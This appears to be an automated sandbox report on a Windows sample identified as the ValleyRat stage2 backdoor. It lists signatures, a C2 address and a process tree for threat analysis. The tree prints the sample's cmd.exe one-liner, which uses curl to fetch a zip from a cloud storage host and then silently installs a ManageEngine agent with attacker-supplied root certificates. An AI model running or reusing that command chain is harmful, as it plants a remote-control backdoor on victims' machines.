Overview

overview

10

Static

static

5

DF-202601001301.exe

windows10-2004-x64

10

DF-202601001301.exe

windows11-ltsc_2024-x64

10

mfc140u.dll

windows10-2004-x64

3

mfc140u.dll

windows11-ltsc_2024-x64

3

Analysis

  • max time kernel
    300s
  • max time network
    300s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    24/10/2026, 18:35

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    DF-202601001301.exe
  • Size 451KB
  • Sample261024-w8fevabw71
  • SHA256 5ef3fe4a5e70d3750a11c73902e35b50b9ac007e8a95dde0569bf6bae17da73a
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
backdoordefense_evasiondiscoveryexecutionvalleyrat_s2persistenceratspywaretrojan

Malware Config

Extracted

Family

  • valleyrat_s2

C2

  • 202.61.160.251:667

Signatures

  • Family: ValleyRat

    ValleyRat stage2 is a backdoor written in C++.

    backdoorvalleyrat_s2
  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

    defense_evasion
  • Drops file in Drivers directory 6 IoCs
  • Looks for VMWare Tools registry key 2 TTPs 2 IoCs
    defense_evasion
  • Sets service image path in registry 3 TTPs 2 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • DCAgent remote management tool 3 IoCs

    DCAgent is part of ManageEngine, a remote administration tool that can be used as a backdoor

    backdoorrat
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 45 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Power Settings 1 TTPs 1 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

    persistence
  • Drops file in System32 directory 45 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 26 IoCs
  • Enumerates video capture drivers 2 TTPs 1 IoCs

    Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

    discoverydefense_evasion
  • Executes dropped EXE 64 IoCs
  • Loads dropped DLL 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Modifies trusted root certificate store through registry 1 TTPs 7 IoCs

    A root certificate was added, modified, or removed in the trusted certificate store registry paths.

    defense_evasion
  • Program crash 1 IoCs
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 64 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 23 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    defense_evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 55 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\DF-202601001301.exe
    "C:\Users\Admin\AppData\Local\Temp\DF-202601001301.exe"
    1⤵
    • Sets service image path in registry
    • Adds Run key to start application
    • Enumerates connected drives
    • Enumerates video capture drivers
    • Reads the TCP/IP host and domain name from the registry
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: LoadsDriver
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3468
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c curl -L -o "C:\111a.zip" "https://xy2-1469461062.cos.ap-jakarta.myqcloud.com/111a.zip" && (if exist "C:\111a" (rmdir /s /q "C:\111a") else (ver >nul)) && md "C:\111a" && tar -xf "C:\111a.zip" -C "C:\111a" && del "C:\111a.zip" && msiexec /i "C:\111a\UEMSAgent.msi" /qn TRANSFORMS="C:\111a\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\111a\DMRootCA-Server.crt" DS_ROOT_CRT="C:\111a\DMRootCA.crt" /lv "C:\111a\Agentinstalllog.txt"
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3848
      • C:\Windows\SysWOW64\curl.exe
        curl -L -o "C:\111a.zip" "https://xy2-1469461062.cos.ap-jakarta.myqcloud.com/111a.zip"
        3⤵
          PID:1796
        • C:\Windows\SysWOW64\tar.exe
          tar -xf "C:\111a.zip" -C "C:\111a"
          3⤵
            PID:3380
          • C:\Windows\SysWOW64\msiexec.exe
            msiexec /i "C:\111a\UEMSAgent.msi" /qn TRANSFORMS="C:\111a\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\111a\DMRootCA-Server.crt" DS_ROOT_CRT="C:\111a\DMRootCA.crt" /lv "C:\111a\Agentinstalllog.txt"
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1028
      • C:\Users\Public\svchostsr.exe
        C:\Users\Public\svchostsr.exe
        1⤵
        • Sets service image path in registry
        • Executes dropped EXE
        • Loads dropped DLL
        • Reads the TCP/IP host and domain name from the registry
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: LoadsDriver
        • Suspicious use of AdjustPrivilegeToken
        PID:1904
      • C:\Windows\system32\msiexec.exe
        C:\Windows\system32\msiexec.exe /V
        1⤵
        • Badlisted process makes network request
        • Enumerates connected drives
        • Drops file in System32 directory
        • Drops file in Program Files directory
        • Drops file in Windows directory
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2940
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding 045B187A25979190A84CEC81DFBACC40
          2⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:1228
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -i dc
          2⤵
          • Drops file in System32 directory
          • Drops file in Program Files directory
          • Drops file in Windows directory
          • Executes dropped EXE
          • Loads dropped DLL
          • Modifies trusted root certificate store through registry
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          • Modifies system certificate store
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:748
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
            7za e -mx9 "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\" -y
            3⤵
            • Drops file in Program Files directory
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:2136
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcpatchscan.exe
            bin\dcpatchscan.exe -y 1
            3⤵
            • Looks for VMWare Tools registry key
            • Drops file in Program Files directory
            • Executes dropped EXE
            • Loads dropped DLL
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:908
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" dcdriverupdates.dll
              4⤵
              • Executes dropped EXE
              PID:1700
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" drvforceupdate.exe
              4⤵
              • Executes dropped EXE
              PID:5092
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" dcpatchutils.dll
              4⤵
              • Executes dropped EXE
              PID:3412
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "superseded-tree-scan-data.7z" superseded-tree-scan-data.xml
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:3872
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\MisconfigEngine.dll.gz" MisconfigEngine.dll
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:5112
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\ServerDetectionChecks.dll.gz" ServerDetectionChecks.dll
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:4720
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaap.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\meaap.exe" -m 1 -a 7093261d-e605-4137-be02-f2a185eeaad2
              4⤵
              • Executes dropped EXE
              • Reads the TCP/IP host and domain name from the registry
              • System Location Discovery: System Language Discovery
              • Modifies data under HKEY_USERS
              PID:4764
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 4764 -s 1696
                5⤵
                • Program crash
                PID:3192
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /C systeminfo.exe > "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\logs\systeminfo.log"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:1548
            • C:\Windows\SysWOW64\systeminfo.exe
              systeminfo.exe
              4⤵
              • System Location Discovery: System Language Discovery
              • Gathers system information
              PID:3996
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe
            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe" -install 22
            3⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            • Modifies data under HKEY_USERS
            PID:2540
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe
            bin\dcinventory.exe -i postinstallation 0 1
            3⤵
            • Drops file in System32 directory
            • Drops file in Program Files directory
            • Executes dropped EXE
            • Loads dropped DLL
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:4840
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\metroapps.exe
              metroapps.exe
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              • Modifies data under HKEY_USERS
              PID:1876
      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"
        1⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2568
      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"
        1⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Reads the TCP/IP host and domain name from the registry
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4012
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe
          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe" -s ET_ENUM 9 2 "Unknown"
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Reads the TCP/IP host and domain name from the registry
          • Checks SCSI registry key(s)
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:212
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe
            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe" -s 9
            3⤵
            • Executes dropped EXE
            • Checks SCSI registry key(s)
            PID:3528
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe
          7 0 0
          2⤵
          • Drops file in Program Files directory
          • Executes dropped EXE
          • Loads dropped DLL
          • Reads the TCP/IP host and domain name from the registry
          • Modifies data under HKEY_USERS
          PID:4468
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe
          bin\dcstatusutil.exe RequestAgentSlotFromServer
          2⤵
          • Drops file in Program Files directory
          • Executes dropped EXE
          • Loads dropped DLL
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          PID:2724
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe
          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"
          2⤵
          • Drops file in Program Files directory
          • Executes dropped EXE
          • Loads dropped DLL
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          PID:2728
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcswmeter.exe
          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcswmeter.exe" -s ET_COL
          2⤵
          • Drops file in Program Files directory
          • Executes dropped EXE
          • Loads dropped DLL
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:2916
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe
          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcinventory.exe" -s prenotify
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          PID:5100
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe
          3 0 0
          2⤵
          • Drops file in Program Files directory
          • Executes dropped EXE
          • Loads dropped DLL
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          • Enumerates system info in registry
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4844
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe
            bin\dcinventory.exe -p processor compatibility
            3⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            • Modifies data under HKEY_USERS
            PID:4060
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcwolsettings.exe
            bin\dcwolsettings.exe
            3⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Reads the TCP/IP host and domain name from the registry
            PID:2536
          • C:\Windows\SysWOW64\cscript.exe
            C:\Windows\system32\cscript.exe DisableEnableEthernet.vbs
            3⤵
            • Executes a VBScript file via the Windows Script Host.
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4544
            • C:\Windows\SysWOW64\powercfg.exe
              powercfg -devicequery wake_from_any
              4⤵
              • Power Settings
              • System Location Discovery: System Language Discovery
              • Checks SCSI registry key(s)
              PID:456
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exe
            dcagenttrayicon.exe -r
            3⤵
            • Drops file in System32 directory
            • Executes dropped EXE
            • Loads dropped DLL
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            PID:2536
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exe
            dcagenttrayicon.exe -s
            3⤵
            • Drops file in System32 directory
            • Executes dropped EXE
            • Loads dropped DLL
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            PID:4100
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" OSDetection.json
            3⤵
            • Executes dropped EXE
            PID:4432
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" dcdriverupdates.dll
            3⤵
            • Executes dropped EXE
            PID:4420
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" drvforceupdate.exe
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:3256
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" dcpatchutils.dll
            3⤵
            • Executes dropped EXE
            PID:4764
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\MisconfigEngine.dll.gz" MisconfigEngine.dll
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:4636
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\ServerDetectionChecks.dll.gz" ServerDetectionChecks.dll
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:1340
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaap.exe
            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaap.exe" -m 1 -c Refresh
            3⤵
            • Executes dropped EXE
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:3124
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n d57c4dc4-daa3-496d-85ce-28fc06cd5c6e -f "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DeviceControl.zip" -c dcm-win -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\DeviceControl-metadata.json" -a 2
              4⤵
              • Executes dropped EXE
              • Reads the TCP/IP host and domain name from the registry
              • Suspicious use of WriteProcessMemory
              PID:648
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DeviceControl.zip" bin\dccomponentregister.dll
                5⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:3692
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exe
                dcagenttrayicon.exe -r
                5⤵
                • Drops file in System32 directory
                • Executes dropped EXE
                • Reads the TCP/IP host and domain name from the registry
                • System Location Discovery: System Language Discovery
                PID:1704
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exe
                dcagenttrayicon.exe
                5⤵
                • Executes dropped EXE
                • Reads the TCP/IP host and domain name from the registry
                • System Location Discovery: System Language Discovery
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                PID:5040
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DeviceControl.zip"
                5⤵
                • Drops file in Program Files directory
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:556
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exe
                dcagenttrayicon.exe -r
                5⤵
                • Drops file in System32 directory
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:5936
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exe
                dcagenttrayicon.exe
                5⤵
                • Executes dropped EXE
                • Reads the TCP/IP host and domain name from the registry
                • System Location Discovery: System Language Discovery
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                PID:5956
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n a8171afd-f23a-419b-9bb8-146a20bb61fd -f "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\BitLockerMgmt.zip" -c blm -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\BitLocker-metadata.json" -a 2
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:5100
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\BitLockerMgmt.zip" bin\dccomponentregister.dll
                5⤵
                • Executes dropped EXE
                PID:5156
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\BitLockerMgmt.zip"
                5⤵
                • Drops file in Program Files directory
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:5176
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe
              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n 425cc09c-d116-4ff1-a6f4-52ff663926f6 -f "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\edrComponent.zip" -c edr_win_neutral -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\EDR-metadata.json" -a 1
              4⤵
              • Executes dropped EXE
              • Reads the TCP/IP host and domain name from the registry
              PID:5740
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\edrComponent.zip"
                5⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:5768
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\bin\EDRDCManager.exe
                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\EDR\\bin\\EDRDCManager.exe" -installorupdate
                5⤵
                • Executes dropped EXE
                • Reads the TCP/IP host and domain name from the registry
                • Modifies data under HKEY_USERS
                PID:5836
                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "Standalone.zip"
                  6⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:5980
                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\bin\MEARWSetup.exe
                  MEARWSetup.exe -install mearwconf.json
                  6⤵
                  • Drops file in Program Files directory
                  • Drops file in Windows directory
                  • Executes dropped EXE
                  PID:3916
                  • C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Public\Bin\MEARWZipUtil.exe
                    x "C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Public\Bin\MEARWBundle.7z"
                    7⤵
                    • Drops file in Program Files directory
                    • Executes dropped EXE
                    PID:2784
                  • C:\Windows\SYSTEM32\wevtutil.exe
                    wevtutil.exe im EDR.man /rf:"C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Public\Bin\EXE\MEEDREventLogResource.dll" /mf:"C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Public\Bin\EXE\MEEDREventLogResource.dll"
                    7⤵
                      PID:5828
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe
                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n d57c4dc4-daa3-496d-85ce-28fc06cd5c6e -c dcm-win -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\DeviceControl-metadata.json" -a 0
                4⤵
                  PID:1880
                  • C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\devctrlaction64.exe
                    -c 4
                    5⤵
                    • Checks SCSI registry key(s)
                    PID:4892
                    • C:\Windows\system32\gpupdate.exe
                      C:\Windows\system32\gpupdate.exe /Target:Computer /Force
                      6⤵
                        PID:5676
                    • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exe
                      dcagenttrayicon.exe -r
                      5⤵
                      • Drops file in System32 directory
                      • Reads the TCP/IP host and domain name from the registry
                      PID:5640
                    • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exe
                      dcagenttrayicon.exe
                      5⤵
                      • Reads the TCP/IP host and domain name from the registry
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of FindShellTrayWindow
                      • Suspicious use of SendNotifyMessage
                      PID:5620
                  • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe
                    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n a8171afd-f23a-419b-9bb8-146a20bb61fd -c blm -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\BitLocker-metadata.json" -a 0
                    4⤵
                      PID:5616
                    • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe
                      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n 425cc09c-d116-4ff1-a6f4-52ff663926f6 -c edr_win_neutral -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\EDR-metadata.json" -e enabled -a 3
                      4⤵
                      • Drops file in Program Files directory
                      PID:4640
                  • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exe
                    dcagenttrayicon.exe -r
                    3⤵
                    • Drops file in System32 directory
                    • Reads the TCP/IP host and domain name from the registry
                    • System Location Discovery: System Language Discovery
                    PID:6000
                  • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exe
                    dcagenttrayicon.exe -s
                    3⤵
                    • Drops file in System32 directory
                    • Reads the TCP/IP host and domain name from the registry
                    • System Location Discovery: System Language Discovery
                    PID:5136
                  • C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\bin\EDRDCManager.exe
                    EDRDCManager.exe -applymeta
                    3⤵
                    • Drops file in Program Files directory
                    • Reads the TCP/IP host and domain name from the registry
                    PID:5904
                  • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcuninstallsw.exe
                    bin\dcuninstallsw.exe
                    3⤵
                    • Reads the TCP/IP host and domain name from the registry
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of SetWindowsHookEx
                    PID:2244
                  • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe
                    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe" -s ET_SUM
                    3⤵
                    • Reads the TCP/IP host and domain name from the registry
                    • System Location Discovery: System Language Discovery
